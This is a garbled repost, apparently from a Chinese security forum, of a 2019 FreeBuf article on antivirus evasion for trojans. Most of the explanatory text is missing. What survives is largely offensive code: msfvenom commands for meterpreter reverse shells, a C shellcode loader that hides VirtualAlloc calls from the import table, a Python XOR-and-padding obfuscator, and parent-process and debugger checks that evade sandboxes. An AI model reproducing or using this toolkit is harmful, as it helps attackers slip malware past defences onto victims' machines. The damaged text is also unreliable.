[14415] 2019-07-31_安全视角下的木马免杀技术讨论

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2019-07-31_安全视角下的木马免杀技术讨论 p O n y   F r e e B u f   2 0 1 9 - 0 7 - 3 1   W e b     W e b     W e b     a p t     a p t 0 x 1   s h e l l c o d e S h e l l c o d e     s h e l l c o d e   便 使   m s f     p a y l o a d   使   m s f     s h e l l c o d e   使   r e v e r s t c p r c 4     1 6     v s     s h e l l c o d e   0 x 2   A P I   I A T     I m p o r t   A d d r e s s T a b l e     i a t     f i r e e y e     F i r e e y e     v i r t u a l a l l o c   V i r t u a l a l l o c     v i r t u a l a l l o c     s h e l l c o d e     s h e l l c o d e     b y p a s s   f i r e e y e     A P I     v i r t u a l a l l o c     l o a d   k e r n e l 3 2 . d l l   k e r n e l 3 2     v i r t u a l a l l o c     i a t     v i r t u a l a l l o c     v i r t u a l l o c     v i r t u a l a l l o c   使 l o a d L i b r a r y     l o a d L i b r a r y     V B A 3 2     l o a d L i b r a r y       v i r t u a l p r o t e c t     v i r t u a l p r o t e c t     a p i   l o a d L i b r a r y k e r n e l 3 2 . d l l l o a d L i b r a r y P E B v b a 3 2 f o r t i n e t n o p m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 2   - b   ' x 0 0 '   L H O S T = [ y o u r   r e m o t e   i p   a d d r e s ]   L P O R T = [ l i s t e n i n g p o r t ]   - f   c   > h a c k e r . c m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 2   - b   ' x 0 0 '   L H O S T = [ y o u r   r e m o t e   i p   a d d r e s ] L P O R T = [ l i s t e n i n g   p o r t ]   - f   c   > h a c k e r . c m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p _ r c 4 - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   1 2   - b   ' x 0 0 '   L H O S T = [ y o u r   r e m o t e   i p   a d d r e s ] L P O R T = [ l i s t e n i n g   p o r t ]   - f   c   > h a c k e r . c H M O D U L E   h M o d u l e   = L o a d L i b r a r y ( _ T ( " K e r n e l 3 2 . d l l " ) ) ; H A N D L E   s h e l l c o d e _ h a n d l e r ; F A R P R O C   A d d r e s s   =   G e t P r o c A d d r e s s ( h M o d u l e , " V i r t u a l A l l o c " ) ; / / v i r t u a l a l l o c   _ a s m {                 p u s h   4 0 h     / / p u s h                 p u s h   1 0 0 0 h                 p u s h   2 9 A h                 p u s h   0                 c a l l   A d d r e s s     / /             m o v s h e l l c o d e _ h a n d l e r ,   e a x } m e m c p y ( s h e l l c o d e _ h a n d l e r ,   n e w s h e l l c o d e , s i z e o f   n e w s h e l l c o d e ) ; ( ( v o i d ( * ) ( ) ) s h e l l c o d e _ h a n d l e r ) ( ) ; _ a s m   { m o v   e s i ,   f s : [ 0 x 3 0 ] / / P E B m o v   e s i ,   [ e s i   +   0 x c ] / / P E B _ L D R _ D A T A m o v   e s i ,   [ e s i   +   0 x 1 c ] / / m o v   e s i ,   [ e s i ] / / k e r n e l B a s e m o v   e s i ,   [ e s i ] / / k e r n e l 3 2 w i n 1 0 m o v   e s i ,   [ e s i   +   0 x 8 ]   / / k e r n e l 3 2 . d l l m o v   h M o d u l e ,   e s i } _ a s m   { m o v   e s i ,   f s : [ 0 x 3 0 ] / / P E B N O P N O P N O P N O P
0 x 3   s h e l l c o d e   s h e l l c o d e     s h e l l c o d e     s h e l l c o d e     s h e l l c o d e   s h e l l c o d e     p e     P E     r d a t a     i d a     p e     h e x     B 8     6 6 5     s h e l l c o d e     s h e l l c o d e   N O P m o v   e s i ,   [ e s i   +   0 x c ] / / P E B _ L D R _ D A T A N O P N O P N O P N O P m o v   e s i ,   [ e s i   +   0 x 1 c ] / / N O P N O P N O P N O P m o v   e s i ,   [ e s i ] / / k e r n e l B a s e N O P N O P N O P m o v   e s i ,   [ e s i ] / / k e r n e l 3 2 w i n 1 0 N O P N O P m o v   e s i ,   [ e s i   +   0 x 8 ]   / / k e r n e l 3 2 . d l l N O P N O P m o v   h M o d u l e ,   e s i }
  & u n k _ 4 0 2 1 0 8     0 x a 6 5     v 1 5   0 x a 6 5     2 6 6 1   s h e l l c o d e     +     0     2 6 6 0 + 1     0 x 2 2 9     6 6 5     s h e l l c o d e     s h e l l o d e     1 1 3     0 x 7 7     s h e l l c o d e     x 0 0     m e t e r p r e t e r   p a y l o a d     m e t e r p r e t e r     h e x     x 0 0     h e x     x 0 0     e f   1 1   3 a   e d     e f   0 0   0 0   0 0     a 1   a 2   a 3   a 4     3 6 0     v i r u s t o t a l     v i r u s t o t a l     v i r u s t o t a l     m d 5     0 0     p a y l o a d     m d 5     s h e l l c o d e     3     s h e l l c o d e     0 0     9     p a y l o a d   r s a     d e s     s h e l l c o d e     s h e l l c o d e     s h e l l c o d e     y a r a     c l a m a v     h e x   0 x 4   h o o k A P I o r g d e f g e n e r a t e _ p a y l o a d ( s h e l l c o d e ) :               b a = b y t e a r r a y ( s h e l l c o d e )               n e w s h e l l c o d e = [ ]               r e s = ' '               f o r   b   i n   b a :                             n c h a r = " "                             b = b ^ 1 1 3 ^ 0 x 7 7                             b = h e x ( b )                             f o r   i   i n   r a n g e ( 1 , l e n ( b ) ) :                                           n c h a r = n c h a r + b [ i ]                             r e s = r e s + n c h a r                             n e w s h e l l c o d e . a p p e n d ( n c h a r )               t r a s h = " x 0 0 "               n n s h e l l c o d e = [ ]               f o r   i   i n   r a n g e ( 4 * l e n ( n e w s h e l l c o d e ) ) :                                           i f   i % 4 = = 0 :   # o u                                                         n n s h e l l c o d e . a p p e n d ( n e w s h e l l c o d e [ i n t ( i / 4 ) ] )                                           e l s e :                                                         n n s h e l l c o d e . a p p e n d ( t r a s h               f r e s = ' '               f o r   i   i n   n n s h e l l c o d e :                             f r e s = f r e s + i               p r i n t ( f r e s )
9 k e x p l o r e e x p l o r e x i t 退 D W O R D   g e t _ p a r e n t _ p r o c e s s i d ( D W O R D   p i d ) {               D W O R D P a r e n t P r o c e s s I D   =   - 1 ;               P R O C E S S E N T R Y 3 2 p e ;               H A N D L E h k z ;               H M O D U L E h M o d u l e   =   L o a d L i b r a r y ( _ T ( " K e r n e l 3 2 . d l l " ) ) ;               F A R P R O C A d d r e s s   =   G e t P r o c A d d r e s s ( h M o d u l e ,   " C r e a t e T o o l h e l p 3 2 S n a p s h o t " ) ;               i f ( A d d r e s s   = =   N U L L )               {                             O u t p u t D e b u g S t r i n g ( _ T ( " G e t P r o c   e r r o r " ) ) ;                             r e t u r n - 1 ;               }               _ a s m               {                             p u s h 0                             p u s h 2                             c a l l A d d r e s s                             m o v h k z ,   e a x               }               p e . d w S i z e =   s i z e o f ( P R O C E S S E N T R Y 3 2 ) ;               i f ( P r o c e s s 3 2 F i r s t ( h k z ,   & p e ) )               {                             d o                             {                                           i f ( p e . t h 3 2 P r o c e s s I D   = =   p i d )                                           {                                                         P a r e n t P r o c e s s I D =   p e . t h 3 2 P a r e n t P r o c e s s I D ;                                                         b r e a k ;                                           }                             } w h i l e   ( P r o c e s s 3 2 N e x t ( h k z ,   & p e ) ) ;               }               r e t u r n P a r e n t P r o c e s s I D ; } W O R D   g e t _ e x p l o r e r _ p r o c e s s i d ( ) {               D W O R D e x p l o r e r _ i d   =   - 1 ;               P R O C E S S E N T R Y 3 2 p e ;               H A N D L E h k z ;               H M O D U L E h M o d u l e   =   L o a d L i b r a r y ( _ T ( " K e r n e l 3 2 . d l l " ) ) ;               i f ( h M o d u l e   = =   N U L L )               {                             O u t p u t D e b u g S t r i n g ( _ T ( " L o a d d l l   e r r o r " ) ) ;                             r e t u r n - 1 ;               }               F A R P R O C A d d r e s s   =   G e t P r o c A d d r e s s ( h M o d u l e ,   " C r e a t e T o o l h e l p 3 2 S n a p s h o t " ) ;               i f ( A d d r e s s   = =   N U L L )               {                             O u t p u t D e b u g S t r i n g ( _ T ( " G e t P r o c   e r r o r " ) ) ;                             r e t u r n - 1 ;               }               _ a s m               {                             p u s h 0                             p u s h 2                             c a l l A d d r e s s                             m o v h k z ,   e a x               }               p e . d w S i z e =   s i z e o f ( P R O C E S S E N T R Y 3 2 ) ;               i f ( P r o c e s s 3 2 F i r s t ( h k z ,   & p e ) )               {                             d o                             {                                           i f ( _ s t r i c m p ( p e . s z E x e F i l e ,   " e x p l o r e r . e x e " )   = =   0 )                                           {                                                         e x p l o r e r _ i d =   p e . t h 3 2 P r o c e s s I D ;                                                         b r e a k ;                                           }
k e r n e l 3 2 C r e a t e T o o l h e l p 3 2 S n a p s h o t e x p l o r e r . e x e i d p i d i d w i n d o w s A P I I s D e b u g g e r P r e s e n t F l a g s 0 x 0 2 H E A P _ G R O W A B L E F o r c e F l a g s 0 0 x 5 0 0 0 0 0 6 2 h 0 x 4 0 0 0 0 0 6 0 h i n   e a x , d x v i r u s t o t a l 0 x 5   使 使   A P I     A P I   * p O n y @ m o r e s e c   F r e e B u f                                             }                             } w h i l e   ( P r o c e s s 3 2 N e x t ( h k z ,   & p e ) ) ;               }               r e t u r n e x p l o r e r _ i d ; } v o i d   d o m a i n ( )   {               D W O R D e x p l o r e r _ i d   =   g e t _ e x p l o r e r _ p r o c e s s i d ( ) ;               D W O R D p a r e n t _ i d   =   g e t _ p a r e n t _ p r o c e s s i d ( G e t C u r r e n t P r o c e s s I d ( ) ) ;               i f ( e x p l o r e r _ i d   = =   p a r e n t _ i d ) / / i d e x p l o r e r i d               {                             d o w o r k ( ) ;               }               e l s e   {                             e x i t ( 1 ) ;               } }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则